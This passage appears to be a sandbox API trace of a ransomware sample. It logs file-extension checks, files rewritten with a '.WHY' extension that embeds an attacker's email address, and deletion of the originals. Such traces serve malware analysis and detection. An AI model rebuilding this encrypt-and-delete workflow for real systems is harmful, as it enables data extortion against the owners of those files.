lpStartAddress=0x408d90, lpParameter=0x50bd28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158 [0059.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x50bd28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c [0059.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x50bd28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160 [0059.158] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560418 [0059.158] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560418, Size=0x20) returned 0x514910 [0059.159] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560418 [0059.159] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560418, Size=0x20) returned 0x514938 [0059.159] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0059.159] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0059.159] Wow64DisableWow64FsRedirection (in: OldValue=0x29fff84 | out: OldValue=0x29fff84*=0x0) returned 1 [0059.159] lstrlenW (lpString="kernel32.dll") returned 12 [0059.159] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514910 | out: hHeap=0x4c0000) returned 1 [0059.159] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.159] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514938 | out: hHeap=0x4c0000) returned 1 [0059.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x52d5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c [0059.161] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0059.515] GetTickCount () returned 0x1157224 [0059.515] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0059.928] GetTickCount () returned 0x115735c [0059.928] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0060.222] GetTickCount () returned 0x1157485 [0060.222] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0060.845] GetTickCount () returned 0x11575fb [0060.845] GetTickCount () returned 0x11575fb [0060.845] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0061.094] GetTickCount () returned 0x11576e5 [0061.094] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0061.614] GetTickCount () returned 0x11578e8 [0061.614] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0061.977] GetTickCount () returned 0x1157a4f [0061.977] GetTickCount () returned 0x1157a4f [0061.977] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0062.743] GetTickCount () returned 0x1157cbf [0062.743] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0063.220] GetTickCount () returned 0x1157ea2 [0063.220] GetTickCount () returned 0x1157ea2 [0063.220] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0063.514] GetTickCount () returned 0x1157fcb [0063.514] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0063.807] GetTickCount () returned 0x11580f3 [0063.807] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0064.197] GetTickCount () returned 0x1158279 [0064.197] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0064.751] GetTickCount () returned 0x115849b [0064.751] GetTickCount () returned 0x115849b [0064.751] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0065.218] GetTickCount () returned 0x11585c4 [0065.218] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0065.806] GetTickCount () returned 0x1158814 [0065.806] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0066.106] GetTickCount () returned 0x115893d [0066.106] GetTickCount () returned 0x115893d [0066.106] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0066.735] GetTickCount () returned 0x1158bad [0066.735] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0068.066] GetTickCount () returned 0x1158d23 [0068.066] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0068.347] GetTickCount () returned 0x1158e3c [0068.347] GetTickCount () returned 0x1158e3c [0068.347] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0068.501] GetTickCount () returned 0x1158ec8 [0068.501] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0068.784] GetTickCount () returned 0x1158fe1 [0068.784] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0069.040] GetTickCount () returned 0x11590db [0069.040] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0069.267] GetTickCount () returned 0x11591c5 [0069.267] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0069.447] GetTickCount () returned 0x1159270 [0069.447] GetTickCount () returned 0x1159270 [0069.447] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0069.860] GetTickCount () returned 0x1159416 [0069.860] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0070.145] GetTickCount () returned 0x115952e [0070.145] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0070.502] GetTickCount () returned 0x1159695 [0070.502] GetTickCount () returned 0x1159695 [0070.502] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0070.953] GetTickCount () returned 0x115983a [0070.953] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0071.348] GetTickCount () returned 0x11599a1 [0071.348] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0071.655] GetTickCount () returned 0x1159ad9 [0071.656] GetTickCount () returned 0x1159ad9 [0071.656] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0072.115] GetTickCount () returned 0x1159c9e [0072.115] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0072.431] GetTickCount () returned 0x1159dd6 [0072.431] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0072.642] GetTickCount () returned 0x1159eb0 [0072.642] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0073.215] GetTickCount () returned 0x115a0f1 [0073.215] GetTickCount () returned 0x115a0f1 [0073.215] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0073.469] GetTickCount () returned 0x115a1eb [0073.470] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0073.908] GetTickCount () returned 0x115a3a0 [0073.908] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0074.313] GetTickCount () returned 0x115a526 [0074.313] GetTickCount () returned 0x115a526 [0074.313] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0074.941] GetTickCount () returned 0x115a796 [0074.941] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0075.305] GetTickCount () returned 0x115a90c [0075.305] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0075.822] GetTickCount () returned 0x115ab0f [0075.822] GetTickCount () returned 0x115ab0f [0075.822] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0076.631] GetTickCount () returned 0x115ae3a [0076.631] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0077.014] GetTickCount () returned 0x115afb0 [0077.014] GetTickCount () returned 0x115afb0 [0077.014] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0077.437] GetTickCount () returned 0x115b146 [0077.437] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0077.862] GetTickCount () returned 0x115b2eb [0077.863] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0078.300] GetTickCount () returned 0x115b4a0 [0078.300] GetTickCount () returned 0x115b4a0 [0078.300] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0079.745] GetTickCount () returned 0x115ba0c [0079.745] GetTickCount () returned 0x115ba0c [0079.745] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0080.253] GetTickCount () returned 0x115bbf0 [0080.253] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0080.749] GetTickCount () returned 0x115bde3 [0080.749] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0081.257] GetTickCount () returned 0x115bfd6 [0081.257] GetTickCount () returned 0x115bfd6 [0081.257] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0081.700] GetTickCount () returned 0x115c19b [0081.701] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0082.329] GetTickCount () returned 0x115c3dc [0082.348] GetTickCount () returned 0x115c3ec [0082.348] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0083.210] GetTickCount () returned 0x115c746 [0083.210] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0083.808] GetTickCount () returned 0x115c9a6 [0083.808] GetTickCount () returned 0x115c9a6 [0083.808] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) Thread: id = 10 os_tid = 0x1c4 [0059.098] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x561838 [0059.098] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x571840 [0059.099] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x560388 [0059.099] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x6) returned 0x514308 [0059.099] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5603a0 [0059.099] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x100000) returned 0x3150020 [0059.099] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5603b8 [0059.099] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5603b8, Size=0x20) returned 0x514870 [0059.100] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x5603b8 [0059.100] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5603b8, Size=0x20) returned 0x5148c0 [0059.100] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0059.100] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0059.100] Wow64DisableWow64FsRedirection (in: OldValue=0x2b3ff58 | out: OldValue=0x2b3ff58*=0x0) returned 1 [0059.100] lstrlenW (lpString="kernel32.dll") returned 12 [0059.100] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514870 | out: hHeap=0x4c0000) returned 1 [0059.100] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.100] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5148c0 | out: hHeap=0x4c0000) returned 1 [0059.101] Sleep (dwMilliseconds=0x64) [0059.455] lstrcmpiW (lpString1=".LOG", lpString2=".WHY") returned -1 [0059.455] lstrlenW (lpString="BCD.LOG") returned 7 [0059.455] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.456] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0059.456] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0059.456] lstrlenW (lpString=".doc") returned 4 [0059.456] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0059.456] lstrlenW (lpString=".docx") returned 5 [0059.456] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0059.456] lstrlenW (lpString=".pdf") returned 4 [0059.456] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0059.456] lstrlenW (lpString=".xls") returned 4 [0059.457] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0059.457] lstrlenW (lpString=".xlsx") returned 5 [0059.457] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0059.457] lstrlenW (lpString=".ppt") returned 4 [0059.457] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0059.457] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0059.457] lstrlenW (lpString=".zip") returned 4 [0059.457] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0059.457] lstrlenW (lpString=".rar") returned 4 [0059.458] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0059.458] lstrlenW (lpString=".bz2") returned 4 [0059.458] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0059.458] lstrlenW (lpString=".7z") returned 3 [0059.458] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0059.458] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0059.458] lstrlenW (lpString=".dbf") returned 4 [0059.458] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0059.458] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0059.458] lstrlenW (lpString=".1cd") returned 4 [0059.458] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0059.458] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0059.458] lstrlenW (lpString=".jpg") returned 4 [0059.458] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0059.459] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0059.459] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0059.459] lstrlenW (lpString=".doc") returned 4 [0059.459] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0059.459] lstrlenW (lpString=".docx") returned 5 [0059.459] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0059.459] lstrlenW (lpString=".pdf") returned 4 [0059.459] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0059.459] lstrlenW (lpString=".xls") returned 4 [0059.460] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0059.460] lstrlenW (lpString=".xlsx") returned 5 [0059.460] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0059.460] lstrlenW (lpString=".ppt") returned 4 [0059.460] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0059.460] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0059.460] lstrlenW (lpString=".zip") returned 4 [0059.460] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0059.460] lstrlenW (lpString=".rar") returned 4 [0059.460] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0059.460] lstrlenW (lpString=".bz2") returned 4 [0059.460] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0059.461] lstrlenW (lpString=".7z") returned 3 [0059.461] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0059.461] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0059.461] lstrlenW (lpString=".dbf") returned 4 [0059.461] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0059.461] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0059.461] lstrlenW (lpString=".1cd") returned 4 [0059.461] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0059.461] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0059.461] lstrlenW (lpString=".jpg") returned 4 [0059.461] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0059.462] lstrcmpiW (lpString1=".DAT", lpString2=".WHY") returned -1 [0059.462] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0059.462] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.608] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=65536) returned 1 [0059.608] CloseHandle (hObject=0x180) returned 1 [0059.608] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0059.609] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0059.609] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.609] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.609] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.609] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0059.612] GetLastError () returned 0x0 [0059.612] ReadFile (in: hFile=0x180, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x10000, lpOverlapped=0x0) returned 1 [0060.023] WriteFile (in: hFile=0x17c, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x10010, lpOverlapped=0x0) returned 1 [0060.030] ReadFile (in: hFile=0x180, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.032] WriteFile (in: hFile=0x17c, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.032] SetEndOfFile (hFile=0x17c) returned 1 [0060.033] CloseHandle (hObject=0x17c) returned 1 [0060.042] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.042] SetEndOfFile (hFile=0x180) returned 1 [0060.047] CloseHandle (hObject=0x180) returned 1 [0060.222] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x26) returned 1 [0060.926] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0060.927] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0060.927] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0060.927] lstrlenW (lpString=".doc") returned 4 [0060.927] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0060.927] lstrlenW (lpString=".docx") returned 5 [0060.927] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0060.927] lstrlenW (lpString=".pdf") returned 4 [0060.927] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0060.927] lstrlenW (lpString=".xls") returned 4 [0060.927] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0060.927] lstrlenW (lpString=".xlsx") returned 5 [0060.928] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0060.928] lstrlenW (lpString=".ppt") returned 4 [0060.928] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0060.928] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0060.928] lstrlenW (lpString=".zip") returned 4 [0060.928] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0060.928] lstrlenW (lpString=".rar") returned 4 [0060.928] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0060.928] lstrlenW (lpString=".bz2") returned 4 [0060.928] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0060.928] lstrlenW (lpString=".7z") returned 3 [0060.928] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0060.928] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0060.928] lstrlenW (lpString=".dbf") returned 4 [0060.928] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0060.928] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0060.928] lstrlenW (lpString=".1cd") returned 4 [0060.929] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0060.929] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0060.929] lstrlenW (lpString=".jpg") returned 4 [0060.929] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0060.929] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0060.929] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0060.929] lstrlenW (lpString=".doc") returned 4 [0060.929] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0060.929] lstrlenW (lpString=".docx") returned 5 [0060.929] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0060.929] lstrlenW (lpString=".pdf") returned 4 [0060.929] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0060.929] lstrlenW (lpString=".xls") returned 4 [0060.929] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0060.930] lstrlenW (lpString=".xlsx") returned 5 [0060.930] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0060.930] lstrlenW (lpString=".ppt") returned 4 [0060.930] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0060.930] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0060.930] lstrlenW (lpString=".zip") returned 4 [0060.930] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0060.930] lstrlenW (lpString=".rar") returned 4 [0060.930] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0060.930] lstrlenW (lpString=".bz2") returned 4 [0060.930] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0060.930] lstrlenW (lpString=".7z") returned 3 [0060.930] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0060.930] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0060.931] lstrlenW (lpString=".dbf") returned 4 [0060.931] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0060.931] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0060.931] lstrlenW (lpString=".1cd") returned 4 [0060.931] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0060.931] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0060.931] lstrlenW (lpString=".jpg") returned 4 [0060.931] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0060.931] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0060.932] lstrlenW (lpString="Setup.xml") returned 9 [0060.932] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.165] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2296) returned 1 [0061.165] CloseHandle (hObject=0x1d0) returned 1 [0061.165] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0061.165] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0061.165] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0061.166] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.166] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.166] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0061.167] GetLastError () returned 0x0 [0061.167] ReadFile (in: hFile=0x1d0, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0061.177] WriteFile (in: hFile=0x1cc, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x900, lpOverlapped=0x0) returned 1 [0061.180] ReadFile (in: hFile=0x1d0, lpBuffer=0x3150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.180] WriteFile (in: hFile=0x1cc, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.180] SetEndOfFile (hFile=0x1cc) returned 1 [0061.181] CloseHandle (hObject=0x1cc) returned 1 [0061.188] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.189] 